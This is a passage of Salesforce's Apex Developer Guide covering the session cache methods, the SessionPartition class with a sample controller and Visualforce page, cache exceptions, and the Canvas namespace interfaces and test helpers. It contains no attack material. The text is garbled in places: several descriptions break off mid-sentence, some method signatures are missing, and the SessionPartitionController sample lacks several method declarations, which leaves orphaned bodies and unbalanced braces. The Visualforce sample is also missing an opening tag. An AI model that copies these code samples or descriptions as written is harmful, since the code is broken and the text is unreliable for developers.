Stores the specified key/value pair as a cached entry in the session cache and sets the cached value’s lifetime.
Stores the specified key/value pair as a cached entry in the session cache. This method also sets the cached value’s lifetime, visibility,
remove(key)
Deletes the cached value corresponding to the specified key from the session cache.
794
Deletes the cached value corresponding to the specified key from the session cache. Use this method if your cached value is a class
contains(key)
Returns true if the session cache contains a cached value corresponding to the specified key.
Signature
public static Boolean contains(String key)
Parameters
key
Type: String
Return Value
Type: Boolean
get(key)
Returns the cached value corresponding to the specified key from the session cache.
Signature
public static Object get(String key)
Parameters
key
Type: String
Return Value
Type: Object
Usage
Because Cache.Session.get() returns an object, we recommend that you cast the returned value to a specific type to facilitate
use of the returned value.
Object obj = Cache.Session.get('ns1.partition1.orderDate');
795

If a Cache.Session.get() call doesn’t find the referenced key, it returns null.
Returns the cached value corresponding to the specified key from the session cache. Use this method if your cached value is a class that
Signature
public static Object get(System.Type cacheBuilder, String key)
Parameters
cacheBuilder
Type: System.Type
key
Type: String
Return Value
Type: Object
Usage
Because Cache.Session.get(cacheBuilder, key) returns an object, cast the returned value to a specific type to facilitate
use of the returned value.
return ((DateTime)Cache.Session.get(DateCache.class, 'datetime')).format();
getAvgGetTime()
Returns the average time taken to get a key from the session cache, in nanoseconds.
Signature
public static Long getAvgGetTime()
Return Value
Type: Long
796
getAvgValueSize()
Returns the average item size for keys in the session cache, in bytes.
Signature
public static Long getAvgValueSize()
Return Value
Type: Long
getCapacity()
Returns the percentage of session cache capacity that has been used.
Signature
public static Double getCapacity()
Return Value
Type: Double
Used cache as a percentage number.
getKeys()
Returns all keys that are stored in the session cache and visible to the invoking namespace.
Signature
public static Set<String> getKeys()
Return Value
Type: Set<String>
getMaxGetTime()
Returns the maximum time taken to get a key from the session cache, in nanoseconds.
Signature
public static Long getMaxGetTime()
Return Value
Type: Long
797
getMaxValueSize()
Returns the maximum item size for keys in the session cache, in bytes.
Signature
public static Long getMaxValueSize()
Return Value
Type: Long
getMissRate()
Returns the miss rate in the session cache.
Signature
public static Double getMissRate()
Return Value
Type: Double
getName()
Signature
Return Value
Type: String
The name of the default cache partition.
getNumKeys()
Returns the total number of keys in the session cache.
Signature
public static Long getNumKeys()
Return Value
Type: Long
798
Returns a partition from the session cache that corresponds to the specified partition name.
Signature
public static cache.SessionPartition getPartition(String partitionName)
Parameters
partitionName
Type: String
A partition name that is qualified by the namespace, for example, namespace.partition.
Return Value
Type: Cache.SessionPartition
Example
After you get the session partition, you can add and retrieve the partition’s cache values.
// Get partition
Cache.SessionPartition sessionPart = Cache.Session.getPartition('myNs.myPartition');
if (sessionPart.contains('BookTitle')) {
String cachedTitle = (String)sessionPart.get('BookTitle');
}

sessionPart.put('OrderDate', Date.today());

String cachedAuthor =
(String)Cache.Session.getPartition('myNs.myPartition').get('BookAuthor');
isAvailable()
Returns true if the session cache is available for use. The session cache isn’t available when an active session isn’t present, such as in
asynchronous Apex or code called by asynchronous Apex. For example, if batch Apex causes an Apex trigger to execute, the session
cache isn’t available in the trigger because the trigger runs in asynchronous context.
Signature
public static Boolean isAvailable()
Return Value
Type: Boolean
true if the session cache is available. Otherwise, false.
799
put(key, value)
Stores the specified key/value pair as a cached entry in the session cache. The put method can write only to the cache in your org’s
namespace.
Signature
public static void put(String key, Object value)
Parameters
key
Type: String
A string that uniquely identifies the value to be cached. For information about the format of the key name, see Usage.
value
Type: Object
Return Value
Type: void

Stores the specified key/value pair as a cached entry in the session cache and sets the cached value’s visibility.
Signature
public static void put(String key, Object value, Cache.Visibility visibility)
Parameters
key
Type: String
value
Type: Object
visibility
from any namespace.
Return Value
Type: void
800

Stores the specified key/value pair as a cached entry in the session cache and sets the cached value’s lifetime.
Signature
public static void put(String key, Object value, Integer ttlSecs)
Parameters
key
Type: String
value
Type: Object
ttlSecs
Type: Integer
The amount of time, in seconds, to keep the cached value in the session cache. The cached values remain in the cache as long as
the Salesforce session hasn’t expired. The maximum value is 28,800 seconds or eight hours. The minimum value is 300 seconds or
five minutes.
Return Value
Type: void

Stores the specified key/value pair as a cached entry in the session cache. This method also sets the cached value’s lifetime, visibility,
Signature
public static void put(String key, Object value, Integer ttlSecs, cache.Visibility
visibility, Boolean immutable)
Parameters
key
Type: String
value
Type: Object
ttlSecs
Type: Integer
801
The amount of time, in seconds, to keep the cached value in the session cache. The cached values remain in the cache as long as
the Salesforce session hasn’t expired. The maximum value is 28,800 seconds or eight hours. The minimum value is 300 seconds or
five minutes.
visibility
from any namespace.
immutable
Type: Boolean
Return Value
Type: void
remove(key)
Deletes the cached value corresponding to the specified key from the session cache.
Signature
public static Boolean remove(String key)
Parameters
key
Type: String
Return Value
Type: Boolean
Deletes the cached value corresponding to the specified key from the session cache. Use this method if your cached value is a class that
Signature
public static Boolean remove(System.Type cacheBuilder, String key)
Parameters
cacheBuilder
Type: System.Type
802
key
Type: String
Return Value
Type: Boolean
Contains methods to manage cache values in the session cache of a specific partition.
Namespace
Cache
Usage
This class extends Cache.Partition and inherits all of its non-static methods. Utility methods for creating and validating keys are not
supported and can be called only from the Cache.Partition parent class. For a list of Cache.Partition methods, see
Partition Methods.
To get a session partition, call Cache.Session.getPartition and pass in a fully qualified partition name, as follows.
Cache.SessionPartition sessionPartition =
Cache.Session.getPartition('namespace.myPartition');
See Cache Key Format for Partition Methods.
Example
This class is the controller for a sample Visualforce page (shown in the subsequent code sample). The controller shows how to use the
methods of Cache.SessionPartition to manage a cache value on a particular partition. The controller takes inputs from the
Visualforce page for the partition name, key name for a counter, and initial counter value. The controller contains default values for these
inputs. When you click Rerender on the Visualforce page, the go() method is invoked and increases the counter by one. When you
click Remove Key, the counter key is removed from the cache. The counter value gets reset to its initial value when it’s re-added to the
cache.
public class SessionPartitionController {
// Name of a partition in the local namespace

String partitionInput = 'local.myPartition';
// Name of the key
String counterKeyInput = 'counter';
// Key initial value
Integer counterInitValue = 0;
// Session partition object
Cache.SessionPartition sessionPartition;
803

public SessionPartitionController() {
}
// Adds counter value to the cache.

sessionPartition = getPartition();
// Add counter to the cache with an initial value

if (!sessionPartition.contains(counterKeyInput)) {
sessionPartition.put(counterKeyInput, counterInitValue);
} else {
sessionPartition.put(counterKeyInput, getCounter() + 1);
}
}
// Returns the session partition based on the partition name

private Cache.SessionPartition getPartition() {
if (sessionPartition == null) {
sessionPartition = Cache.Session.getPartition(partitionInput);
}
return sessionPartition;
}

return (Integer)getPartition().get(counterKeyInput);
}
// Invoked by the Submit button to save input values

// supplied by the user.
// Reset the initial key value in the cache
getPartition().put(counterKeyInput, counterInitValue);
return null;
}

// Get the partition object
sessionPartition = getPartition();
if (sessionPartition.contains(counterKeyInput)) {
sessionPartition.put(counterKeyInput, getCounter() + 1);
804
} else {
sessionPartition.put(counterKeyInput, counterInitValue);
}
return null;
}

// Removes the datetime cached value from the session cache.
getPartition().remove(counterKeyInput);
return null;
}
// Get and set methods for accessing variables

// that correspond to the input text fields on
// the Visualforce page.
public String getPartitionInput() {
return partitionInput;
}
public String getCounterKeyInput() {

return counterKeyInput;
}
public Integer getCounterInitValue() {

return counterInitValue;
}
public void setPartitionInput(String partition) {

this.partitionInput = partition;
}
public void setCounterKeyInput(String keyName) {

this.counterKeyInput = keyName;
}
public void setCounterInitValue(Integer counterValue) {

this.counterInitValue = counterValue;
}
}
This is the Visualforce page that corresponds to the SessionPartitionController class.

<apex:page controller="SessionPartitionController" action="{!init}">
<apex:form >
<br/>Partition with Namespace Prefix: <apex:inputText value="{!partitionInput}"/>
<br/>Counter Key Name: <apex:inputText value="{!counterKeyInput}"/>

<br/>Counter Initial Value: <apex:inputText value="{!counterInitValue}"/>
<apex:commandButton action="{!save}" value="Save Key Input Values"/>
</apex:form>
805
<br/>Cached Counter: <apex:outputText value="{!counter}"/>
</apex:outputPanel>
<br/>
<apex:form >
<apex:commandButton id="remove" action="{!remove}" value="Remove Key"
rerender="output"/>
</apex:form>
</apex:page>
SEE ALSO:
Platform Cache
Cache Exceptions
The Cache namespace contains exception classes.
Exceptions on page 2529 in the Apex Developer Guide.
The Cache namespace contains these exceptions.
Exception Thrown when

Cache.Session.SessionCacheException An error occurred while adding or retrieving a value in the session
cache.
Cache.Session.SessionCacheNoSessionException An attempt is made to access the cache when the session cache
isn’t available.
Cache.Org.OrgCacheException An attempt is made to access a partition that doesn’t exist or whose

name is invalid.
Cache.InvalidParamException An invalid parameter value is passed into a method of

Cache.Session or Cache.Org. This error occurs when:
• The key referenced is null or empty or is not alphanumeric.
• The namespace referenced is null or empty.
• The partition name is null or empty or is not alphanumeric.
• Another referenced value is null.
Cache.ItemSizeLimitExceededException A cache put call is made with an item that exceeds the maximum
size limit. To fix this error, break the item into multiple, smaller items.
Cache.PlatformCacheInvalidOperationException A cache put or remove call is made that is not allowed. For
example, when calling put or remove inside a Visualforce
constructor.
Cache.InvalidCacheBuilderException A get(CacheBuilder cb, String key),

remove(CacheBuilder cb, String key), or
806
Apex Developer Guide Canvas Namespace
Exception Thrown when

validateCacheBuilder(CacheBuilder cb) method
is called but the cb parameter is a class that does not implement
the Cache.CacheBuilder interface.
Visibility Enum
Use the Cache.Visibility enumeration in the Cache.Session or Cache.Org methods to indicate whether a cached
value is visible only in the value’s namespace or in all namespaces.
Enum Values
The following are the values of the Cache.Visibility enum.
Value Description
ALL The cached value is available to Apex code executing
from any namespace. This is the default state.
NAMESPACE The cached value is available to Apex code executing

from the same namespace.
If a key has the Visibility.NAMESPACE
attribute, a get method initiated from a different
namespace returns null.
Canvas Namespace
The Canvas namespace provides an interface and classes for canvas apps in Salesforce.
The following are the interfaces and classes in the Canvas namespace.
IN THIS SECTION:
ApplicationContext Interface
Use this interface to retrieve application context information, such as the application version or URL.
CanvasLifecycleHandler Interface
Implement this interface to control context information and add custom behavior during the application render phase.
ContextTypeEnum Enum
Describes context data that can be excluded from canvas app context data. You specify which context types to exclude in the
excludeContextTypes() method in your CanvasLifecycleHandler implementation.
EnvironmentContext Interface
Use this interface to retrieve environment context information, such as the app display location or the configuration parameters.
RenderContext Interface
A wrapper interface that is used to retrieve application and environment context information.
807
Test Class
Contains methods for automated testing of your Canvas classes.
Canvas Exceptions
The Canvas namespace contains exception classes.
ApplicationContext Interface
Use this interface to retrieve application context information, such as the application version or URL.
Namespace
Canvas
Usage
The ApplicationContext interface provides methods to retrieve application information about the canvas app that’s being
rendered. Most of the methods are read-only. For this interface, you don’t need to create an implementation. Use the default
implementation that Salesforce provides.
IN THIS SECTION:
ApplicationContext Methods
ApplicationContext Methods
The following are methods for ApplicationContext.
IN THIS SECTION:
getCanvasUrl()
Retrieves the fully qualified URL of the canvas app.
getDeveloperName()
Retrieves the internal API name of the canvas app.
getName()
Retrieves the name of the canvas app.
getNamespace()
Retrieves the namespace prefix of the canvas app.
getVersion()
Retrieves the current version of the canvas app.
setCanvasUrlPath(newPath)
Overrides the URL of the canvas app for the current request.
getCanvasUrl()
Retrieves the fully qualified URL of the canvas app.
808
Signature
public String getCanvasUrl()
Return Value
Type: String
Usage
Use this method to get the URL of the canvas app, for example:
http://instance.salesforce.com:8080/canvas_app_path/canvas_app.jsp.
getDeveloperName()
Retrieves the internal API name of the canvas app.
Signature
public String getDeveloperName()
Return Value
Type: String
Usage
Use this method to get the API name of the canvas app. You specify this value in the API Name field when you expose the canvas
app by creating a connected app.
getName()
Retrieves the name of the canvas app.
Signature
Return Value
Type: String
Usage
Use this method to get the name of the canvas app.
getNamespace()
Retrieves the namespace prefix of the canvas app.
809
Signature
public String getNamespace()
Return Value
Type: String
Usage
Use this method to get the Salesforce namespace prefix that’s associated with the canvas app.
getVersion()
Retrieves the current version of the canvas app.
Signature
public String getVersion()
Return Value
Type: String
Usage
Use this method to get the current version of the canvas app. This value changes after you update and republish a canvas app in an
organization. If you are in a Developer Edition organization, using this method always returns the latest version.
setCanvasUrlPath(newPath)
Overrides the URL of the canvas app for the current request.
Signature
public void setCanvasUrlPath(String newPath)
Parameters
newPath
Type: String
The URL (not including domain) that you need to use to override the canvas app URL.
Return Value
Type: Void
Usage
Use this method to override the URL path and query string of the canvas app. Do not provide a fully qualified URL, because the provided
URL string will be appended to the original canvas URL domain.
810
For example, if the current canvas app URL is https://myserver.com:6000/myAppPath and you call
setCanvasUrlPath('/alternatePath/args?arg1=1&arg2=2'), the adjusted canvas app URL will be
https://myserver.com:6000/alternatePath/args?arg1=1&arg2=2.
If the provided path results in a malformed URL, or a URL that exceeds 2,048 characters, a System.CanvasException will be thrown.
This method overrides the canvas app URL for the current request and does not permanently change the canvas app URL as configured
in the UI for the Salesforce canvas app settings.
CanvasLifecycleHandler Interface
Implement this interface to control context information and add custom behavior during the application render phase.
Namespace
Canvas
Usage
Use this interface to specify what canvas context information is provided to your app by implementing the excludeContextTypes()
method. Use this interface to call custom code when the app is rendered by implementing the onRender() method.
If you provide an implementation of this interface, you must implement excludeContextTypes() and onRender().
Example Implementation
The following example shows a simple implementation of CanvasLifecycleHandler that specifies that organization context information
will be excluded and prints a debug message when the app is rendered.
public class MyCanvasListener
implements Canvas.CanvasLifecycleHandler{
public Set<Canvas.ContextTypeEnum> excludeContextTypes(){
Set<Canvas.ContextTypeEnum> excluded = new Set<Canvas.ContextTypeEnum>();
excluded.add(Canvas.ContextTypeEnum.ORGANIZATION);
return excluded;
}
public void onRender(Canvas.RenderContext renderContext){

System.debug('Canvas lifecycle called.');
}
}
IN THIS SECTION:
CanvasLifecycleHandler Methods
CanvasLifecycleHandler Methods
The following are methods for CanvasLifecycleHandler.
811
IN THIS SECTION:
excludeContextTypes()
Lets the implementation exclude parts of the CanvasRequest context, if the application does not need it.
onRender(renderContext)
Invoked when a canvas app is rendered. Provides the ability to set and retrieve canvas application and environment context information
during the application render phase.
excludeContextTypes()
Lets the implementation exclude parts of the CanvasRequest context, if the application does not need it.
Signature
public Set<Canvas.ContextTypeEnum> excludeContextTypes()
Return Value
Type: SET<Canvas.ContextTypeEnum>
This method must return null or a set of zero or more ContextTypeEnum values. Returning null enables all attributes by default.
ContextTypeEnum values that can be set are:
• Canvas.ContextTypeEnum.ORGANIZATION
• Canvas.ContextTypeEnum.RECORD_DETAIL
• Canvas.ContextTypeEnum.USER
See ContextTypeEnum on page 813 for more details on these values.
Usage
Implement this method to specify which attributes to disable in the context of the canvas app. A disabled attribute will set the associated
canvas context information to null.
Disabling attributes can help improve performance by reducing the size of the signed request and canvas context. Also, disabled attributes
do not need to be retrieved by Salesforce, which further improves performance.
See the Force.com Canvas Developer’s Guide for more information on context information in the Context object that’s provided in the
CanvasRequest.
Example
This example implementation specifies that the organization information will be disabled in the canvas context.
public Set<Canvas.ContextTypeEnum> excludeContextTypes() {
Set<Canvas.ContextTypeEnum> excluded = new Set<Canvas.ContextTypeEnum>();
excluded.add(Canvas.ContextTypeEnum.ORGANIZATION);
return excluded;
}
onRender(renderContext)
Invoked when a canvas app is rendered. Provides the ability to set and retrieve canvas application and environment context information
during the application render phase.
812
Signature
public void onRender(Canvas.RenderContext renderContext)
Parameters
renderContext
Type: Canvas.RenderContext
Return Value
Type: Void
Usage
If implemented, this method is called whenever the canvas app is rendered. The implementation can set and retrieve context information
by using the provided Canvas.RenderContext.
This method is called whenever signed request or context information is retrieved by the client. See the Force.com Canvas Developer’s
Guide for more information on signed request authentication.
Example
This example implementation prints ‘Canvas lifecycle called.’ to the debug log when the canvas app is rendered.
public void onRender(Canvas.RenderContext renderContext) {
System.debug('Canvas lifecycle called.');
}
ContextTypeEnum Enum
Describes context data that can be excluded from canvas app context data. You specify which context types to exclude in the
excludeContextTypes() method in your CanvasLifecycleHandler implementation.
Namespace
Canvas
Enum Values
Value Description
ORGANIZATION Exclude context information about the organization in which the canvas app is
running.
RECORD_DETAIL Exclude context information about the object record on which the canvas app
appears.
USER Exclude context information about the current user.
813
EnvironmentContext Interface
Use this interface to retrieve environment context information, such as the app display location or the configuration parameters.
Namespace
Canvas
Usage
The EnvironmentContext interface provides methods to retrieve environment information about the current canvas app. For
this interface, you don’t need to create an implementation. Use the default implementation that Salesforce provides.
IN THIS SECTION:
EnvironmentContext Methods
EnvironmentContext Methods
The following are methods for EnvironmentContext.
IN THIS SECTION:
addEntityField(fieldName)
Adds a field to the list of object fields that are returned in the signed request Record object when the component appears on a
Visualforce page that’s placed on an object.
addEntityFields(fieldNames)
Adds a set of fields to the list of object fields that are returned in the signed request Record object when the component appears
on a Visualforce page that’s placed on an object.
getDisplayLocation()
Retrieves the display location where the canvas app is being called from. For example, a value of Visualforce indicates that the canvas
app was called from a Visualforce page.
getEntityFields()
Retrieves the list of object fields that are returned in the signed request Record object when the component appears on a Visualforce
page that’s placed on an object.
getLocationUrl()
Retrieves the location URL of the canvas app.
getParametersAsJSON()
Retrieves the current custom parameters for the canvas app. Parameters are returned as a JSON string.
getSublocation()
Retrieves the display sublocation where the canvas app is being called from.
setParametersAsJSON(jsonString)
Sets the custom parameters for the canvas app.
814
addEntityField(fieldName)
Adds a field to the list of object fields that are returned in the signed request Record object when the component appears on a Visualforce
Signature
public void addEntityField(String fieldName)
Parameters
fieldName
Type: String
The object field name that you need to add to the list of returned fields., Using ‘*’ adds all fields that the user has permission to view.
Return Value
Type: Void
Usage
When you use the <apex:canvasApp> component to display a canvas app on a Visualforce page, and that page is associated with
an object (placed on the page layout, for example), you can specify fields to be returned from the related object. See the Force.com
Canvas Developer’s Guide for more information on the Record object.
Use addEntityField() to add a field to the list of object fields that are returned in the signed request Record object. By default
the list of fields includes ID. You can add fields by name or add all fields that the user has permission to view by calling
addEntityField('*').
You can inspect the configured list of fields by using Canvas.EnvironmentContext.getEntityFields().
Example
This example adds the Name and BillingAddress fields to the list of object fields. This example assumes the canvas app will appear in a
Visualforce page that’s associated with the Account page layout.
Canvas.EnvironmentContext env = renderContext.getEnvironmentContext();
// Add Name and BillingAddress to fields (assumes we'll run from the Account detail page)
env.addEntityField('Name');
env.addEntityField('BillingAddress');
addEntityFields(fieldNames)
Adds a set of fields to the list of object fields that are returned in the signed request Record object when the component appears on a
Visualforce page that’s placed on an object.
Signature
public void addEntityFields(Set<String> fieldNames)
815
Parameters
fieldNames
Type: SET<String>
The set of object field names that you need to add to the list of returned fields. If an item in the set is ‘*’, all fields that the user has
permission to view are added.
Return Value
Type: Void
Usage
Use addEntityFields() to add a set of one or more fields to the list of object fields that are returned in the signed request Record
object. By default the list of fields includes ID. You can add fields by name or add all fields that the user has permission to view by adding
a set that includes ‘*’ as one of the strings.
You can inspect the configured list of fields by using Canvas.EnvironmentContext.getEntityFields().
Example
This example adds the Name, BillingAddress, and YearStarted fields to the list of object fields. This example assumes that the canvas app
will appear in a Visualforce page that’s associated with the Account page layout.
// Add Name, BillingAddress and YearStarted to fields (assumes we'll run from the Account
detail page)
Set<String> fields = new Set<String>{'Name','BillingAddress','YearStarted'};
env.addEntityFields(fields);
getDisplayLocation()
Retrieves the display location where the canvas app is being called from. For example, a value of Visualforce indicates that the canvas
app was called from a Visualforce page.
Signature
public String getDisplayLocation()
Return Value
Type: String
The return value can be one of the following strings:
• Chatter—The canvas app was called from the Chatter tab.
• ChatterFeed—The canvas app was called from a Chatter canvas feed item.
• MobileNav—The canvas app was called from the navigation menu in Salesforce1.
816
• OpenCTI—The canvas app was called from an Open CTI component.

• PageLayout—The canvas app was called from an element within a page layout. If the displayLocation is PageLayout, one of the
subLocation values might be returned.
• Publisher—The canvas app was called from a canvas custom quick action.
• ServiceDesk—The canvas app was called from a Salesforce Console component.
• Visualforce—The canvas app was called from a Visualforce page.
• None—The canvas app was called from the Canvas App Previewer.
Usage
Use this method to obtain the display location for the canvas app.
getEntityFields()
Retrieves the list of object fields that are returned in the signed request Record object when the component appears on a Visualforce
Signature
public List<String> getEntityFields()
Return Value
Type: LIST<String>
Usage
Use getEntityFields() to retrieve the list of object fields that are returned in the signed request Record object. By default the list of fields
includes ID. The list of fields can be configured by using the Canvas.EnvironmentContext.addEntityField(fieldName) or
Canvas.EnvironmentContext.addEntityFields(fieldNames) methods.
Example
This example gets the current list of object fields and retrieves each item in the list, printing each field name to the debug log.
List<String> entityFields = env.getEntityFields();

for (String fieldVal : entityFields) {
System.debug('Environment Context entityField: ' + fieldVal);
}
If the canvas app that’s using this lifecycle code was run from the detail page of an Account, the debug log output might look like:
Environment Context entityField: Id
817
getLocationUrl()
Retrieves the location URL of the canvas app.
Signature
public String getLocationUrl()
Return Value
Type: String
Usage
Use this method to obtain the URL of the page where the user accessed the canvas app. For example, if the user accessed your app by
clicking a link on the Chatter tab, this method returns the URL of the Chatter tab, which would be similar to
‘https://yourInstance.salesforce.com/_ui/core/chatter/ui/ChatterPage’.
getParametersAsJSON()
Retrieves the current custom parameters for the canvas app. Parameters are returned as a JSON string.
Signature
public String getParametersAsJSON()
Return Value
Type: String
Usage
Use this method to get the current custom parameters for the canvas app. The parameters are returned in a JSON string that can be
de-serialized by using the System.JSON.deserializeUntyped(jsonString) method.
Custom parameters can be modified by using the Canvas.EnvironmentContext.setParametersAsJSON(jsonString) string.
Example
This example gets the current custom parameters, de-serializes them into a map, and prints the results to the debug log.
// Get current custom params

Map<String, Object> currentParams =
(Map<String, Object>) JSON.deserializeUntyped(env.getParametersAsJSON());
System.debug('Environment Context custom paramters: ' + currentParams);
getSublocation()
Retrieves the display sublocation where the canvas app is being called from.
818
Signature
public String getSublocation()
Return Value
Type: String
The return value can be one of the following strings:
• S1MobileCardFullview—The canvas app was called from a mobile card.
• S1MobileCardPreview—The canvas app was called from a mobile card preview. The user must click the preview to open the app.
• S1RecordHomePreview—The canvas app was called from a record detail page preview. The user must click the preview to open
the app.
• S1RecordHomeFullview—The canvas app was called from a page layout.
Usage
Use this method to obtain the display sublocation for the canvas app. Use only if the primary display location can be displayed on mobile
devices.
setParametersAsJSON(jsonString)
Sets the custom parameters for the canvas app.
Signature
public void setParametersAsJSON(String jsonString)
Parameters
jsonString
Type: String
The custom parameters that you need to set, serialized into a JSON format string.
Return Value
Type: Void
Usage
Use this method to set the current custom parameters for the canvas app. The parameters must be provided in a JSON string. You can
use the System.JSON.serialize(objectToSerialize) method to serialize a map into a JSON string.
Setting the custom parameters will overwrite the custom parameters that are set for the current request. If you need to modify the
current custom parameters, first get the current set of custom parameters by using getParametersAsJSON(), modify the retrieved
parameter set as needed, and then use this modified set in your call to setParametersAsJSON().
If the provided JSON string exceeds 32KB, a System.CanvasException will be thrown.
819
Example
This example gets the current custom parameters, adds a new newCustomParam parameter with a value of ‘TESTVALUE’, and sets
the current custom parameters.
// Get current custom params

Map<String, Object> previousParams =
(Map<String, Object>) JSON.deserializeUntyped(env.getParametersAsJSON());
// Add a new custom param

previousParams.put('newCustomParam','TESTVALUE');
// Now replace the parameters with the current parameters plus our new custom param
env.setParametersAsJSON(JSON.serialize(previousParams));
RenderContext Interface
A wrapper interface that is used to retrieve application and environment context information.
Namespace
Canvas
Usage
Use this interface to retrieve application and environment context information for your canvas app. For this interface, you don’t need to
create an implementation. Use the default implementation that Salesforce provides.
IN THIS SECTION:
RenderContext Methods
RenderContext Methods
The following are methods for RenderContext.
IN THIS SECTION:
getApplicationContext()
Retrieves the application context information.
getEnvironmentContext()
Retrieves the environment context information.
getApplicationContext()
Retrieves the application context information.
820
Signature
public Canvas.ApplicationContext getApplicationContext()
Return Value
Type: Canvas.ApplicationContext
Usage
Use this method to get the application context information for your canvas app.
Example
The following example implementation of the CanvasLifecycleHandler onRender() method uses the provided RenderContext to retrieve
the application context information and then checks the namespace, version, and app URL.
public void onRender(Canvas.RenderContext renderContext){
Canvas.ApplicationContext app = renderContext.getApplicationContext();
if (!'MyNamespace'.equals(app.getNamespace())){
// This application is installed, add code as needed
...
}
// Check the application version

Double currentVersion = Double.valueOf(app.getVersion());
if (currentVersion <= 5){

// Add version specific code as needed
...
// Tell the canvas application to operate in deprecated mode
app.setCanvasUrlPath('/canvas?deprecated=true');
}
}
getEnvironmentContext()
Retrieves the environment context information.
Signature
public Canvas.EnvironmentContext getEnvironmentContext()
Return Value
Type: Canvas.EnvironmentContext
Usage
Use this method to get the environment context information for your canvas app.
821
Example
The following example implementation of the CanvasLifecycleHandler onRender() method uses the provided RenderContext to retrieve
the environment context information and then modifies the custom parameters.
Canvas.EnvironmentContext env =
renderContext.getEnvironmentContext();
// Retrieve the custom params

Map<String, Object> previousParams = (Map<String, Object>)
JSON.deserializeUntyped(env.getParametersAsJSON());
previousParams.put('param1',1);
previousParams.put('param2',3.14159);
...
// Now, add in some opportunity record IDs

Opportunity[] o = [select id, name from opportunity];
previousParams.put('opportunities',o);
// Now, replace the parameters

env.setParametersAsJSON(JSON.serialize(previousParams));
}
Test Class
Contains methods for automated testing of your Canvas classes.
Namespace
Canvas
Usage
Use this class to test your implementation of Canvas.CanvasLifecycleHandler with mock test data. You can create a test
Canvas.RenderContext with mock application and environment context data and use this data to verify that your CanvasLifecycleHandler
is being invoked correctly.
IN THIS SECTION:
Test Constants
The Test class provides constants that are used as keys when you set mock application and environment context data.
Test Methods
The Test class provides methods for creating test contexts and invoking your CanvasLifecycleHandler with mock data.
Test Constants
The Test class provides constants that are used as keys when you set mock application and environment context data.
822
When you call Canvas.Test.mockRenderContext(applicationContextTestValues,

environmentContextTestValues), you need to provide maps of key-value pairs to represent your mock application and
environment context data. The Test class provides static constant strings that you can use as keys for various parts of the application
and environment context.
KEY_CANVAS_URL Represents the canvas app URL key in the ApplicationContext.
KEY_DEVELOPER_NAME Represents the canvas app developer or API name key in the ApplicationContext.
KEY_DISPLAY_LOCATION Represents the canvas app display location key in the EnvironmentContext.
KEY_LOCATION_URL Represents the canvas app location URL key in the EnvironmentContext.
KEY_NAME Represents the canvas app name key in the ApplicationContext.
KEY_NAMESPACE Represents the canvas app namespace key in the ApplicationContext.
KEY_SUB_LOCATION Represents the canvas app sublocation key in the EnvironmentContext.
KEY_VERSION Represents the canvas app version key in the ApplicationContext.
Test Methods
The Test class provides methods for creating test contexts and invoking your CanvasLifecycleHandler with mock data.
The following are methods for Test. All are static methods.
IN THIS SECTION:
mockRenderContext(applicationContextTestValues, environmentContextTestValues)
Creates and returns a test Canvas.RenderContext based on the provided application and environment context parameters.
testCanvasLifecycle(lifecycleHandler, mockRenderContext)
Calls the canvas test framework to invoke a CanvasLifecycleHandler with the provided RenderContext.
mockRenderContext(applicationContextTestValues, environmentContextTestValues)
Creates and returns a test Canvas.RenderContext based on the provided application and environment context parameters.
Signature
public static Canvas.RenderContext mockRenderContext(Map<String,String>
applicationContextTestValues, Map<String,String> environmentContextTestValues)
Parameters
applicationContextTestValues
Specifies a map of key-value pairs that provide mock application context data. Use constants that are provided by Canvas.Test as
keys. If null is provided for this parameter, the canvas framework will generate some default mock application context values.
823
environmentContextTestValues
Specifies a map of key-value pairs that provide mock environment context data. Use constants provided by Canvas.Test as keys. If
null is provided for this parameter, the canvas framework will generate some default mock environment context values.
Return Value
Usage
Use this method to create a mock Canvas.RenderContext. Use the returned RenderContext in calls to
Canvas.Test.testCanvasLifecycle(lifecycleHandler, mockRenderContext) for testing
Canvas.CanvasLifecycleHandler implementations.
Example
The following example creates maps to represent mock application and environment context data and generates a test
Canvas.RenderContext. This test RenderContext can be used in a call to
Canvas.Test.testCanvasLifecycle(lifecycleHandler, mockRenderContext).
Map<String,String> appValues = new Map<String,String>();
appValues.put(Canvas.Test.KEY_NAMESPACE,'alternateNamespace');
appValues.put(Canvas.Test.KEY_VERSION,'3.0');
Map<String,String> envValues = new Map<String,String>();

envValues.put(Canvas.Test.KEY_DISPLAY_LOCATION,'Chatter');
envValues.put(Canvas.Test.KEY_LOCATION_URL,'https://yourInstance.salesforce.com/_ui/core/chatter/ui/ChatterPage');
Canvas.RenderContext mock = Canvas.Test.mockRenderContext(appValues,envValues);
testCanvasLifecycle(lifecycleHandler, mockRenderContext)
Calls the canvas test framework to invoke a CanvasLifecycleHandler with the provided RenderContext.
Signature
public static Void testCanvasLifecycle(Canvas.CanvasLifecycleHandler
lifecycleHandler,Canvas.RenderContext mockRenderContext)
Parameters
lifecycleHandler
Type: Canvas.CanvasLifecycleHandler
Specifies the CanvasLifecycleHandler implementation that you need to invoke.
mockRenderContext
Specifies the RenderContext information that you need to provide to the invoked CanvasLifecycleHandler. If null is provided for
this parameter, the canvas framework will generate and use a default mock RenderContext.
824
Return Value
Type: Void
Usage
Use this method to invoke an implementation of Canvas.CanvasLifecycleHandler.onRender(renderContext) with a mock
Canvas.RenderContext that you provide.
Example
The following example creates maps to represent mock application and environment context data and generates a test
Canvas.RenderContext. This test RenderContext is then used to invoke a Canvas.CanvasLifecycleHandler.
// Set some application context data in a Map
Map<String,String> appValues = new Map<String,String>();
appValues.put(Canvas.Test.KEY_NAMESPACE,'alternateNamespace');
appValues.put(Canvas.Test.KEY_VERSION,'3.0');
// Set some environment context data in a MAp

Map<String,String> envValues = new Map<String,String>();
envValues.put(Canvas.Test.KEY_DISPLAY_LOCATION,'Chatter');
envValues.put(Canvas.Test.KEY_LOCATION_URL,'https://yourInstance.salesforce.com/_ui/core/chatter/ui/ChatterPage');
// Create a mock RenderContext using the test application and environment context data
Maps
Canvas.RenderContext mock = Canvas.Test.mockRenderContext(appValues,envValues);
// Set some custom params on the mock RenderContext

mock.getEnvironmentContext().setParametersAsJSON('{\"param1\":1,\"boolParam\":true,\"stringParam\":\"test
string\"}');
// Use the mock RenderContext to invoke a CanvasLifecycleHandler

Canvas.Test.testCanvasLifecycle(handler,mock)
Canvas Exceptions
The Canvas namespace contains exception classes.
Exceptions.
The Canvas namespace contains this exception:
Exception Description
Canvas.CanvasRenderException Use this class in your implementation of
Canvas.CanvasLifecycleHandler.onRender(renderContext). To show
an error to the user in your onRender() implementation, throw a
Canvas.CanvasRenderException, and the canvas framework will
render the error message to the user. This exception will be managed only
within the onRender() method.
825
